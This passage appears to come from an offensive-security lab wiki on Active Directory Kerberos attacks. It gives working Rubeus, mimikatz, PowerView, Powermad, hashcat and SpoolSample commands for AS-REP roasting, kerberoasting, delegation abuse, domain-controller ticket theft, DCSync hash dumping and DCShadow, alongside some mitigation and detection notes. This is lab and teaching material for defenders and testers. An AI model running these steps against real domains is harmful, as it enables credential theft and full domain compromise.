$krb5asrep$23$spot@offense.local:3171ea207b3a6fdaee52ba247c20362e$56fe7dc0caba8cb7d3a02a140c612a917df3343c01bcdab0b669efa15b29b2aebbfed2b4f3368a897b833a6b95d5c2f1c2477121c8f5e005aa2a588c5ae72aadfcbf1aedd8b7ac2f2e94e94cb101e27a2e9906e8646919815d90b4186367b6d5072ab9edd0d7b85519fbe33997b3d3b378340e3f64caa92595523b0ad8dc8e0abe69dda178d8ba487d3632a52be7ff4e786f4c271172797dcbbded86020405b014278d5556d8382a655a6db1787dbe949b412756c43841c601ce5f21a36a0536cfed53c913c3620062fdf5b18259ea35de2b90c403fbadd185c0f54b8d0249972903ca8ff5951a866fc70379b9da
```

We can then crack it:

{% code title="attacker\@kali" %}

```csharp
hashcat -m18200 '$krb5asrep$23$spot@offense.local:3171EA207B3A6FDAEE52BA247C20362E$56FE7DC0CABA8CB7D3A02A140C612A917DF3343C01BCDAB0B669EFA15B29B2AEBBFED2B4F3368A897B833A6B95D5C2F1C2477121C8F5E005AA2A588C5AE72AADFCBF1AEDD8B7AC2F2E94E94CB101E27A2E9906E8646919815D90B4186367B6D5072AB9EDD0D7B85519FBE33997B3D3B378340E3F64CAA92595523B0AD8DC8E0ABE69DDA178D8BA487D3632A52BE7FF4E786F4C271172797DCBBDED86020405B014278D5556D8382A655A6DB1787DBE949B412756C43841C601CE5F21A36A0536CFED53C913C3620062FDF5B18259EA35DE2B90C403FBADD185C0F54B8D0249972903CA8FF5951A866FC70379B9DA' -a 3 /usr/share/wordlists/rockyou.txt
```

{% endcode %}

![](/files/-L_npxmlILN7TUgT4pmt)

![](/files/-L_npw-ORwzSLcje0H5J)

## References

{% embed url="<https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/>" %}

{% embed url="<https://jsecurity101.com/2019/IOC-differences-between-Kerberoasting-and-AsRep-Roasting/>" %}

{% embed url="<https://blog.xpnsec.com/kerberos-attacks-part-2/>" %}


# Kerberoasting: Requesting RC4 Encrypted TGS when AES is Enabled

It is possible to kerberoast a user account with SPN even if the account supports Kerberos AES encryption by requesting an RC4 ecnrypted (instead of AES) TGS which easier to crack.

## Execution

First off, let's confirm we have at least one user with an SPN set:

{% code title="attacker\@victim" %}

```
Get-NetUser -SPN sandy
```

{% endcode %}

![](/files/-LeC_1tcpl1KPWWouoZk)

Since the user account does not support Kerberos AES ecnryption by default, when requesting a TGS ticket for kerberoasting with rubeus, we will get an RC4 encrypted ticket:

{% code title="attacker\@victim" %}

```
F:\Rubeus\Rubeus.exe kerberoast /user:sandy
```

{% endcode %}

![](/files/-LeC_aqPA-VtGrKX8HTD)

If the user is now set to support AES encryption:

![](/files/-LeC_ouxkaUpOSwPfS5l)

By default, returned tickets will be encrypted with the highest possible encryption algorithm, which is AES:

{% code title="attacker\@victim" %}

```
F:\Rubeus\Rubeus.exe kerberoast /user:sandy
```

{% endcode %}

![](/files/-LeCdtnIC0SuCcEFl5CA)

## Requesting RC4 Encrypted Ticket

As mentioned in the beginning, it's still possible to request an RC4 ecnrypted ticket (if RC4 is not disabled in the environment, which does not seem to be common yet):

{% code title="attacker\@victim" %}

```
F:\Rubeus\Rubeus.exe kerberoast /tgtdeleg
```

{% endcode %}

Even though AES encryption is supported by both parties, a TGS ticket encrypted with RC4 (encryption type 0x17/23) was returned. Note that SOCs may be monitoring for tickets encrypted with RC4:

![](/files/-LeCevY4uZ_2GNzRqOYZ)

## References

{% embed url="<https://www.harmj0y.net/blog/redteaming/kerberoasting-revisited/>" %}


# Kerberos Unconstrained Delegation

This lab explores a security impact of unrestricted kerberos delegation enabled on a domain computer.

## Overview

* Unrestricted kerberos delegation is a privilege that can be assigned to a domain computer or a user;
* Usually, this privilege is given to computers (in this lab, it is assigned to a computer IIS01) running services like IIS, MSSQL, etc.;
* Those services usually require access to some back-end database (or some other server), so it can read/modify the database on the authenticated user's behalf;
* When a user authenticates to a computer that has unresitricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory;
* The reason TGTs get cached in memory is so the computer (with delegation rights) can impersonate the authenticated user as and when required for accessing any other services on that user's behalf.

Essentially this looks like so:\
`User` --- authenticates to ---> `IIS server` ---> authenticates on behalf of the user ---> `DB server`

{% hint style="warning" %}
Any user authentication (i.e CIFS) to the computer with unconstrained delegation enabled on it, will cache that user's TGT in memory, which can later be dumped and reused by an adversary.
{% endhint %}

## Setup

Let's give one of our domain computers/our victim computer `IIS01` unrestricted kerberos delegation privilege:

![](/files/-LQ12YWkbzuuo44ojE-v)

To confirm/find computers on a domain that have unrestricted kerberos delegation property set:

```csharp
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description
```

We can see our victim computer `IIS01` with `TrustedForDelegation` field set to `$true` - we are good to attack:

![](/files/-LQ14Riy8ccRh-dsaF4D)

## Execution

On the computer IIS01 with kerberos delegation rights, let's do a base run of mimikatz to see what we can find in memory:

```csharp
sekurlsa::tickets
```

![](/files/-LQ1An4liC-mH641pDIr)

Note that we do not have a TGT for `offense\administrator` (Domain Admin) just yet.

Let's now send an HTTP request to `IIS01` from a `DC01` host from the context of offense\administrator:

```csharp
Invoke-WebRequest http://iis01.offense.local -UseDefaultCredentials -UseBasicParsing
```

We see the request got a `HTTP 200 OK` response:

![](/files/-LQ1AobS744v-HgGeO5I)

Let's check the victim host `IIS01` for new kerberos tickets in memory:

```
mimikatz # sekurlsa::tickets
```

![](/files/-LQ1BqpINzeoMrrRB_78)

We can see that the IIS01 has now got a TGT for offense\administrator - this means that we have effectively compromised the entire offense.local domain. We will get back to this in a  moment.

First, let's export all kerberos tickets from IIS01 memory, so we can load offense\administrator ticket TGT into the current session and assume its privileges:

```csharp
mimikatz::tickets /export
```

![](/files/-LQ1FVA9AomSnRrnRN2y)

..but before we proceed with `pass-the-ticket` attack and become a DA, let's try PSRemoting to the `DC01` from `IIS01` and check currently available kerberos tickets in a current logon session - just to make sure we currently do not have DA rights:

![](/files/-LQ1ET2t6uJXe7aSU6_8)

Above screenshow shows that there are no tickets and PSSession could not be established - as expected.

Let's now proceed and import the previously dumped offense\administrator TGT into our current logon session on the `IIS01` host:

```csharp
mimikatz # kerberos::ptt C:\Users\Administrator\Desktop\mimikatz\[0;3c785]-2-0-40e10000-Administrator@krbtgt-OFFENSE.LOCAL.kirbi
```

![](/files/-LQ1EVTOlDsCQ7KmbanV)

Once the TGT is imported on IIS01, let's check available tickets and try connecting to the `DC01` again:

![](/files/-LQ1G6uhB2h22swlr_Vk)

As you can see from the above screengrab, the `IIS01` system now contains a `krbtgt` for offense\administrator, which enables this session to access `DC01` C$ share and establish a PSSession with an interactive shell with Domain admin privileges.

### Reminder

Note that successful authentication to ANY service on the IIS01 will cache the authenticated user's TGT. Below is an example of a user `offense\delegate` accessing a share on `IIS01` - the TGT gets cached:

![](/files/-LQ5v0LLaKNYMZQIPqGJ)

## Mitigation

Some of the available mitigations:

* Disable kerberos delegation where possible
* Be cautious of whom you give privilege **Enable computer and user accounts to be trusted for delegation** - these are users who can enable unrestricted kerberos delagation
* Enable **Account is sensitive and cannot be delegated** for high privileged accounts

## References

{% embed url="<https://adsecurity.org/?p=1667>" %}

{% embed url="<https://blog.xpnsec.com/kerberos-attacks-part-1/>" %}

{% embed url="<https://blogs.technet.microsoft.com/askds/2008/03/06/kerberos-for-the-busy-admin/>" %}


# Kerberos Constrained Delegation

If you have compromised a user account or a computer (machine account) that has kerberos constrained delegation enabled, it's possible to impersonate any domain user (including administrator) and authenticate to a service that the user account is trusted to delegate to.

## User Account

### Prerequisites

Hunting for user accounts that have kerberos constrained delegation enabled:

{% code title="attacker\@target" %}

```
Get-NetUser -TrustedToAuth
```

{% endcode %}

In the below screenshot, the user `spot` is allowed to delegate or in other words, impersonate any user and authenticate to a file system service (CIFS) on a domain controller DC01.&#x20;

{% hint style="info" %}
User has to have an attribute `TRUSTED_TO_AUTH_FOR_DELEGATION` in order for it to be able to authenticate to the remote service.

> TRUSTED\_TO\_AUTH\_FOR\_DELEGATION - (Windows 2000/Windows Server 2003) The account is enabled for delegation. This is a security-sensitive setting. Accounts that have this option enabled should be tightly controlled. This setting lets a service that runs under the account assume a client's identity and authenticate as that user to other remote servers on the network.&#x20;
>
> <https://support.microsoft.com/en-gb/help/305144/how-to-use-useraccountcontrol-to-manipulate-user-account-properties>
> {% endhint %}

Attribute `msds-allowedtodelegateto` identifies the SPNs of services the user `spot` is trusted to delegate to (impersonate other domain users) and authenticate to - in this case, it's saying that the user spot is allowed to authenticate to CIFS service on DC01 on behalf of any other domain user:

![](/files/-LmUuqN8vgeYFDytDQEY)

The `msds-allowedtodelegate` attribute in AD is defined here:

![](/files/-LmUj2nVKcbsVl1DNw-L)

The `TRUSTED_TO_AUTH_FOR_DELEGATION` attribute in AD is defined here:

![](/files/-LmUuvuUvqg5eYSlA6ef)

### Execution

Assume we've compromised the user `spot` who has the constrained delegation set as described earlier. Let's check that currently we cannot access the file system of the DC01 before we impersonate a domain admin user:

{% code title="attacker\@target" %}

```
dir \\dc01\c$
```

{% endcode %}

![](/files/-LmUjKwUqJd0QbYGUHxf)

Let's now request a delegation TGT for the user spot:

{% code title="attacker\@target" %}

```
\\vboxsvr\tools\Rubeus\Rubeus.exe tgtdeleg
```

{% endcode %}

![](/files/-LmUlJsFuaNBjB_cFmsM)

Using rubeus, we can now request TGS for `administrator@offense.local`, who will be allowed to authenticate to `CIFS/dc01.offense.local`:

{% code title="attacker\@target" %}

```
# ticket is the base64 ticket we get with `rubeus's tgtdeleg`
Rubeus.exe s4u /ticket:doIFCDCCBQSgAwIBBaEDAgEWooIEDjCCBAphggQGMIIEAqADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDU9GRkVOU0UuTE9DQUyjggPEMIIDwKADAgESoQMCAQKiggOyBIIDro3ZCHDaVettnJseuyFJMK+Il4GAtWVAHPAq02cnHmOs3R2KcrOWpf3YbtnTD7fB+rKdZ8aElgloJO+v4XVM2NgyOVIia0MzNToDrK1ynhC70aApbag+ykvUFTDeG9NjhE3TVk3+F99vWboy6hhc9AmRUJwHFuqLC4djtL2PtQSpgWWL42W5eONlIZkc5XK0kWkC/AvivuuPOHs9aEy3g38hoBeApZE8NqT7mGKz5JHLwV5TyUgo87s6fFVSn8LHK8CI6G0x2DRhxxu04q0qnRXhLJ5S0MyJgJj6YDVESvCUgep5MXR+OYp0EGdVP8qQJK+x6m4rmr0Y3nd1Klmc+xDnLSC11ay7I8VevqhCBCZ64c+HQow4qcMTa/agxyOXqK42ynUl0GJtrLV7nIIrp+J2e5PECDUXIjKFkGnp6HZDNfzYAGL3XxyyT2JYdneOS3VUzJQyEctjuQMdVA0wB8NrRqDVdqSNBSOyBwpB3/FWzdHNYxztRmVT+Yz6qJCU4SYHIzHUE5dqHjvhjPSwgAkhS/QNApxtWvyba8iwCSnyualuhK46LS0pkt1IIQT0Y+qw80oL6mzjD+rxfKgR4B9hI6Imw9zTT5rjlRNMjWEy78izLtRB+ulzqdkZCUMA6zswWjq1BTmWzZX0LAZ+QAWQJPzoRVsqOcZCZwo/aWwmO1s9v5TLRRMLTAvk16PQW3z9NHix2Io9sObH8cb7gVrB+u2Q545Qwekl0uwP5mCar6swU2oEkxBm5DZvLsbZTcGl+KzGxqq/zhEJm3EceLuwIY81z8aYu13c6AsYETs9VevdEVysylpNL7EcHu8iXsoE5JmLx7OrcPR9WfeFWxRDp+1CVDijOI5VOS51+JpkEvcXFmfZueqLTJ66VGJgQaP7A3B//Y40ur5nSXyvEmIKgzdeqPLpGa5GPiNs/rYFmMlxwEX+yVFB5bPYgoszr3Crjsvs6Q/vdr36NoWqI9/11Nurzeeknt+k8sUV26URnQVkecW4yJFQ2TZwYCJ1k9h4cr96csJ9HhJO46UBye/8oqlqJXKnYY3JpaZiXWK77kG7BqhM6oPl+oEIbX2ycj/gHesxREvP7/vYINk33KbOSxXTAi3Je3wbZP7N+3B9Lz04m8Xi6nGeIVsZiMyODpnJVX5Bgq+3cGaSty0v+fIfqMHDwuKhOS7h1MGLJduhWh3b21ytDfzn73yyCPskFee2ckAomlAgxMzg8ZatmZDLTxfUenJ+EnrJgkYee6OB5TCB4qADAgEAooHaBIHXfYHUMIHRoIHOMIHLMIHIoCswKaADAgESoSIEIN2JDvcjQZeMR+7giMsawE1vG/Cmw9IFIV7ZYwaELMqaoQ8bDU9GRkVOU0UuTE9DQUyiETAPoAMCAQGhCDAGGwRzcG90owcDBQBgoQAApREYDzIwMTkwODE3MTMyMDU2WqYRGA8yMDE5MDgxNzIzMDY0MFqnERgPMjAxOTA4MjQxMzA2NDBaqA8bDU9GRkVOU0UuTE9DQUypIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDU9GRkVOU0UuTE9DQUw= /impersonateuser:administrator /domain:offense.local /msdsspn:cifs/dc01.offense.local /dc:dc01.offense.local /ptt
```

{% endcode %}

![](/files/-LmUzEl7ko1gQWHK3KYc)

We've got the impersonated TGS tickets for administrator account:

![](/files/-LmUzKj4C1b1v5hycKkf)

Which as we can see are now in memory of the current logon session:

{% code title="attacker\@target" %}

```
klist
```

{% endcode %}

![](/files/-LmUzUcQdpvIqtCxAYGC)

If we now attempt accessing the file system of the DC01 from the user's spot terminal, we can confirm we've successfully impersonated the domain administrator account that can authenticate to the CIFS service on the domain controller DC01:

{% code title="attacker\@target" %}

```
dir \\dc01.offense.local\c$
```

{% endcode %}

![](/files/-LmUwNck8RXhHhHcSOAQ)

Note that in this case we requested a TGS for the CIFS service, but we could also request additional TGS tickets with rubeus's ~~`/altservice`~~ switch for: HTTP (WinRM), LDAP (DCSync), HOST (PsExec shell), MSSQLSvc (DB admin rights).

## Computer Account

If you have compromised a machine account or in other words you have a SYSTEM level privileges on a machine that is configured with constrained delegation, you can assume any identity in the AD domain and authenticate to services that the compromised machine is trusted to delegate to.&#x20;

In this lab, a workstation WS02 is trusted to delegate to DC01 for CIFS and LDAP services and I am going to exploit the CIFS services this time:

![](/files/-LmVQ2QxEygwna1_gN7H)

Using powerview, we can find target computers like so:

{% code title="attacker\@target" %}

```csharp
Get-NetComputer ws02 | select name, msds-allowedtodelegateto, useraccountcontrol | fl
Get-NetComputer ws02 | Select-Object -ExpandProperty msds-allowedtodelegateto | fl
```

{% endcode %}

![](/files/-LmWRJz_w33yps83qlND)

Let's check that we're currently running as SYSTEM and can't access the C$ on our domain controller DC01:

{% code title="attacker\@target" %}

```csharp
hostname
[System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
ls \\dc01.offense.local\c$
```

{% endcode %}

![](/files/-LmVQwyg2up-8jH35uo9)

Let's now impersonate <administrator@offense.local> and try again:

{% code title="attacker\@target" %}

```csharp
[Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
$idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator')
$idToImpersonate.Impersonate()
[System.Security.Principal.WindowsIdentity]::GetCurrent() | select name

ls \\dc01.offense.local\c$
```

{% endcode %}

![](/files/-LmVRLtPPiuCCOwE9W5c)

## References

{% embed url="<https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/>" %}

{% embed url="<https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/>" %}

{% embed url="<https://blogs.msdn.microsoft.com/mattlind/2010/01/13/delegation-tab-in-aduc-not-available-until-a-spn-is-set/>" %}

{% embed url="<https://blogs.technet.microsoft.com/tristank/2007/06/18/kdc_err_badoption-when-attempting-constrained-delegation/>" %}

{% embed url="<https://support.microsoft.com/en-gb/help/305144/how-to-use-useraccountcontrol-to-manipulate-user-account-properties>" %}


# Kerberos Resource-based Constrained Delegation: Computer Object Takeover

It's possible to gain code execution with elevated privileges on a remote computer if you have WRITE privilege on that computer's AD object.

This lab is based on a video presented by [@wald0](https://twitter.com/_wald0?lang=en) - <https://www.youtube.com/watch?v=RUbADHcBLKg&feature=youtu.be>

## Overview

High level overview of the attack as performed in the lab:

* We have code execution on the box `WS02` in the context of `offense\sandy` user;
* User `sandy` has `WRITE` privilege over a target computer `WS01`;
* User `sandy` creates a new computer object `FAKE01` in Active Directory (no admin required);
* User `sandy` leverages the `WRITE` privilege on the `WS01` computer object and updates its object's attribute `msDS-AllowedToActOnBehalfOfOtherIdentity` to enable the newly created computer `FAKE01` to impersonate and authenticate any domain user that can then access the target system `WS01`. In human terms this means that the target computer `WS01` is happy for the computer `FAKE01` to impersonate any domain user and give them any access (even Domain Admin privileges) to `WS01`;
* `WS01` trusts `FAKE01` due to the modified `msDS-AllowedToActOnBehalfOfOtherIdentity`;
* We request Kerberos tickets for `FAKE01$` with ability to impersonate `offense\spotless` who is a Domain Admin;
* Profit - we can now access the `c$` share of `ws01` from the computer `ws02`.

### &#x20;Kerberos Delegation vs Resource Based Kerberos Delegation

* In unconstrained and constrained Kerberos delegation, a computer/user is told what resources it can delegate authentications to;
* In resource based Kerberos delegation, computers (resources) specify who they trust and who can delegate authentications to them.

## Requirements

|                                |                               |
| ------------------------------ | ----------------------------- |
| Target computer                | WS01                          |
| Admins on target computer      | <spotless@offense.local>      |
| Fake computer name             | FAKE01                        |
| Fake computer SID              | To be retrieved during attack |
| Fake computer password         | 123456                        |
| Windows 2012 Domain Controller | DC01                          |

Since the attack will entail creating a new computer object on the domain, let's check if users are allowed to do it - by default, a domain member usually can add up to 10 computers to the domain. To check this, we can query the root domain object and look for property `ms-ds-machineaccountquota`

```csharp
Get-DomainObject -Identity "dc=offense,dc=local" -Domain offense.local
```

![](/files/-Lavl6yaXMx88APlB94w)

The attack also requires the DC to be running at least Windows 2012, so let's check if we're in the right environment:

```csharp
Get-DomainController
```

![](/files/-LavmlVr3SxRKEimZew5)

Last thing to check - the target computer `WS01` object must not have the attribute `msds-allowedtoactonbehalfofotheridentity` set:

```
Get-NetComputer ws01 | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity
```

![](/files/-LavoD7ACDXRd5D_OFvx)

This is the attribute the above command is referring to:

![](/files/-LavpQa3anMAAe6b8ySJ)

## Creating a new Computer Object

Let's now create a new computer object for our computer `FAKE01` (as referenced earlier in the requirements table) - this is the computer that will be trusted by our target computer `WS01` later on:

```csharp
import-module powermad
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```

![](/files/-LavuSx2u0ebiaoNhiXN)

Checking if the computer got created and noting its SID:

```csharp
Get-DomainComputer fake01
# computer SID: S-1-5-21-2552734371-813931464-1050690807-1154
```

![](/files/-Lb5P4tr_W2qUSUz6ip-)

Create a new raw security descriptor for the `FAKE01` computer principal:

```csharp
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2552734371-813931464-1050690807-1154)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
```

![](/files/-Lb5PRIVbtYMwfENRyYs)

## Modifying Target Computer's AD Object

Applying the security descriptor bytes to the target `WS01` machine:

```csharp
Get-DomainComputer ws01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
```

![](/files/-Law92LgPV7tu7qNebFZ)

Reminder - we were able to write this because `offense\Sandy` belongs to security group `offense\Operations`, which has full control over the target computer `WS01$` although the only important one/enough is the `WRITE` privilege:

![](/files/-Law9Tf-GBhTvu_psSKM)

If our user did not have the required privileges, you could infer that from the verbose error message:

![](/files/-LawA5GmjKq6R_8lhZRi)

Once the `msDS-AllowedToActOnBehalfOfOtherIdentitity` is set, it is visible here:

![](/files/-Law9pd1qZk6AcKeW34x)

Same can be seen this way:

```csharp
Get-DomainComputer ws01 -Properties 'msds-allowedtoactonbehalfofotheridentity'
```

![](/files/-Law9fRLnkKRyLRP_Avy)

We can test if the security descriptor assigned to computer `ws01` in `msds-allowedtoactonbehalfofotheridentity` attribute refers to the `fake01$` machine:

```csharp
(New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0).DiscretionaryAcl
```

Note that the SID is referring to S-1-5-21-2552734371-813931464-1050690807-1154 which is the `fake01$` machine's SID - exactly what we want it to be:

![](/files/-Lb5OpZ4coo7iCwwp-rl)

## Execution

### Generating RC4 Hash

Let's generate the RC4 hash of the password we set for the `FAKE01` computer:

```csharp
\\VBOXSVR\Labs\Rubeus\Rubeus\bin\Debug\Rubeus.exe hash /password:123456 /user:fake01 /domain:offense.local
```

![](/files/-LawAlId5_BENZRlTJdl)

### Impersonation

Once we have the hash, we can now attempt to execute the attack by requesting a kerberos ticket for `fake01$` with ability to impersonate user `spotless` who is a Domain Admin:

```csharp
\\VBOXSVR\Labs\Rubeus\Rubeus\bin\Debug\rubeus.exe s4u /user:fake01$ /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:spotless /msdsspn:cifs/ws01.offense.local /ptt
```

![](/files/-LawNFiAvC3xL-Xqzn3B)

Unfortunately, in my labs, I was not able to replicate the attack at first, even though according to rubeus, all the required kerberos tickets were created successfully - I could not gain remote admin on the target system `ws01`:

![](/files/-LawNGr-11s5QhEnklHN)

Once again, checking kerberos tickets on the system showed that I had a TGS ticket for `spotless` for the CIFS service at `ws01.offense.local`, but the attack still did not work:

![](/files/-Lb5JhS4Hm2FQRBEit0Q)

### Trial and Error

Talking to a couple of folks who had successfully simulated this attack in their labs, we still could not figure out what the issue was. After repeating the the attack over and over and carrying out various other troubleshooting steps, I finally found what the issue was.

Note how the ticket is for the SPN `cifs/ws01.offense.local` and we get access denied when attempting to access the remote admin shares of `ws01`:

![](/files/-LbIfqQrTJ9Bd09Dr9vX)

### Computer Take Over

Note, howerver if we request a ticket for SPN `cifs/ws01` - we can now access `C$` share of the `ws01` which means we have admin rights on the target system `WS01`:

```csharp
\\VBOXSVR\Tools\Rubeus\Rubeus.exe s4u /user:fake01$ /domain:offense.local /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:spotless /msdsspn:http/ws01 /altservice:cifs,host /ptt
```

![](/files/-LbIj0EzkTsoGeBjm3x6)

To further prove we have admin rights - we can write a simple file from `ws02` to `ws01` in c:\users\administrator:

![](/files/-LbIk9cfPuxzWMgvMnX1)

Additionally, check if we can remotely execute code with our noisy friend psexec:

```csharp
\\vboxsvr\tools\PsExec.exe \\ws01 cmd
```

![](/files/-LbImNQWxchNw3NwZgYa)

{% hint style="warning" %}
Note that the `offense\spotless` rights are effective only on the target system - i.e. on the system that delegated (`WS01`) another computer resource (`FAKE01`) to act on the target's (`WS01`) behalf and allow to impersonate any domain user.

In other words, an attack can execute code/commands as `offense\spotless` only on the `WS01` machine and not on any other machine in the domain.
{% endhint %}

## References

{% embed url="<https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html>" %}

{% embed url="<https://github.com/Kevin-Robertson/Powermad>" %}

{% embed url="<https://github.com/PowerShellMafia/PowerSploit>" %}

{% embed url="<https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/>" %}

{% embed url="<https://decoder.cloud/2019/03/20/donkeys-guide-to-resource-based-constrained-delegation-from-standard-user-to-da/>" %}


# Domain Compromise via DC Print Server and Kerberos Delegation

This lab demonstrates an attack on Active Directory Domain Controller (or any other host to be fair) that involves the following steps and environmental conditions:

* Attacker has to compromise a system that has an unrestricted kerberos delegation enabled.
* Attacker finds a victim that runs a print server. In this lab this happened to be a Domain Controller.
* Attacker coerces the DC to attempt authenticating to the attacker controlled host which has unrestricted kerberos delegation enabled.&#x20;
  * This is done via RPC API  [`RpcRemoteFindFirstPrinterChangeNotificationEx`](https://msdn.microsoft.com/en-us/library/cc244813.aspx) that allows print clients to subscribe to notifications of changes on the print server.
  * Once the API is called, the DC attempts to authenticate to the compromised host by revealing its TGT to the attacker controlled compromised system.
* Attacker extracts `DC01's` TGT from the compromised system and impersonates the DC to carry a DCSync attack and dump domain member hashes.

This lab builds on [Domain Compromise via Unrestricted Kerberos Delegation](/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)

## Execution

Our environment for this lab is:

* ws01 - attacker compromised host with kerberos delegation enabled (attacker, server)
* dc01 - domain controller running a print service (victim, target)

We can check if a spool service is running on a remote host like so:

```
ls \\dc01\pipe\spoolss
```

![](/files/-M1G3ZcjdWLQ22Dju3RA)

If the spoolss was not running, we would receive an error.

Another way to check if the spoolss is running on a remote machine is:

![](/files/-M1G3r9F1ivbCsGGKa3A)

Now, after compiling the amazing PoC [SpoolSample](https://github.com/leechristensen/SpoolSample) by [@tifkin\_](https://twitter.com/tifkin_), we execute it with two arguments `target` and `server` (DC with spoolss running on it):

```csharp
.\SpoolSample.exe dc01 ws01
```

![](/files/-LQBX2MsTKWSFsBRV0G_)

We are shown a message that the target attemped authenticating to our compromised system, so let's check if we can retrieve DC01 TGT:

```csharp
mimikatz # sekurlsa::tickets
```

![](/files/-LQBX2MrpP19zaBFCAq9)

We indeed got a TGT for DC01$ computer!

With this, we can make our compromised system `ws01$` appear like a Domain Controller and extract an NTLM hash for the user `offense\spotless` which we know has high privileges in the domain:

```csharp
mimikatz # lsadump::dcsync /domain:offense.local /user:spotless
```

![](/files/-LQBX2Mp1P83Erudnqdo)

The above clearly shows the attack was successful and an NTLM hash for the user spotless got retrieved -  get cracking or passing it now.

## Mitigation

For mitigations, see [Domain Compromise via Unrestricted Kerberos Delegation](/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation#mitigation) mitigations section.

## References

{% embed url="<https://github.com/leechristensen/SpoolSample>" %}

{% embed url="<https://adsecurity.org/?p=4056>" %}

{% embed url="<https://adsecurity.org/?p=2053>" %}


# DCShadow - Becoming a Rogue Domain Controller

DCShadow allows an attacker with enough privileges to create a rogue Domain Controller and push changes to the DC Active Directory objects.

## Execution

For this lab, two shells are required - one running with `SYSTEM` privileges and another one with privileges of a domain member that is in `Domain admins` group:

![](/files/-LJjY-mOdiUf3J4dwpWf)

In this lab, I will be trying to update the AD object of a computer `pc-w10$`. A quick way to see some of its associated properties can be achieved with the following powershell:

```csharp
PS c:\> ([adsisearcher]"(&(objectCategory=Computer)(name=pc-w10))").Findall().Properties
```

![](/files/-LJjVvinH0mo71Dof2z9)

Note the `badpwcount` property which we will try to change with DCShadow by setting the value to 9999:

{% code title="mimikatz\@NT/SYSTEM console" %}

```csharp
mimikatz # lsadump::dcshadow /object:pc-w10$ /attribute:badpwdcount /value=9999
```

{% endcode %}

We can now push the change to the primary Domain Controller `DC-MANTVYDAS`:

{% code title="mimikatz\@Domain Admin console" %}

```csharp
lsadump::dcshadow /push
```

{% endcode %}

Below are the screenshots of the above commands and their outputs as well as the end result, indicating the `badpwcount`value getting changed to 9999:

![](/files/-LJjVviol-7v0bxlvdhz)

## Observations

As suggested by Vincent Le Toux who co-presented the [DCShadow](https://www.youtube.com/watch?v=KILnU4FhQbc), in order to detect this type of rogue activity, you could monitor the network traffic and suspect any non-DC hosts (our case it is the PC-W10$ with `10.0.0.7`) issuing RCP requests to DCs (our case DC-MANTVYDAS with `10.0.0.6`) as seen below:

![](/files/-LJjcWqgR7ON1X_8Hzh_)

Same for the logs, if you see a non-DC host causing the DC to log a `4929` event (Detailed Directory Service Replication), you may want to investigate what else is happening on that system:

![](/files/-LJjjCG1iC852bjFMoaX)

Current implementation of DCShadow in mimikatz creates a new DC and deletes its associated objects when the push is complete in a short time span and this pattern could potentially be used to trigger an alert, since creation of a new DC, related object modifications and their deletion all happening in 1-2 seconds time frame sound anomalous. Events `4662` may be helpful for identifying this:

![](/files/-LJk96HM2cjsRgkGXEu9)

![](/files/-LJk9e1ZN4ie0Rf01m3j)

![](/files/-LJk9gb3M7TdkXZe1EKz)

Per [Luc Delsalle](https://blog.alsid.eu/@lucd?source=post_header_lockup)'s post on DCShadow explanation, one other suggestion for detecting rogue DCs is the idea that the computers that expose an RPC service with a GUID of `E3514235–4B06–11D1-AB04–00C04FC2DCD2`, but do not belong to a `Domain Controllers` Organizational Unit, should be investigated.&#x20;

We see that our suspicious computer exposes that exact service:

![](/files/-LJor2wd63PpCjm0k0fp)

..but does not belong to a `Domain Controllers` OU:

```csharp
([adsisearcher]"(&(objectCategory=computer)(name=pc-w10))").Findall().Properties.distinguishedname
# or
(Get-ADComputer pc-w10).DistinguishedName
```

![Outputs for computer NOT belonging to DC OU and one belonging, respecitvely](/files/-LJoplkjHLF16doWI9dy)

## References

Below are the resources related to DCShadow attack. Note that there is also a link to youtube by a security company Alsid, showing how to dynamically detect DCShadow, so please watch it.

{% embed url="<https://attack.mitre.org/wiki/Technique/T1207>" %}

{% embed url="<https://www.dcshadow.com/>" %}

{% embed url="<https://www.youtube.com/watch?v=KILnU4FhQbc>" %}

{% embed url="<https://www.youtube.com/watch?v=yWFUKwZaT_4>" %}
Dynamic Detection of DCShadow
{% endembed %}

{% embed url="<https://github.com/AlsidOfficial/UncoverDCShadow>" %}

{% embed url="<http://www.labofapenetrationtester.com/2018/04/dcshadow.html>" %}

{% embed url="<https://blog.alsid.eu/dcshadow-explained-4510f52fc19d>" %}


# DCSync: Dump Password Hashes from Domain Controller

This lab shows how a misconfigured AD domain object permissions can be abused to dump DC password hashes using the DCSync technique with mimikatz.

It is known that the below permissions can be abused to sync credentials from a Domain Controller:

> * The “[**DS-Replication-Get-Changes**](https://msdn.microsoft.com/en-us/library/ms684354\(v=vs.85\).aspx)” extended right
>   * **CN:** DS-Replication-Get-Changes
>   * **GUID:** 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
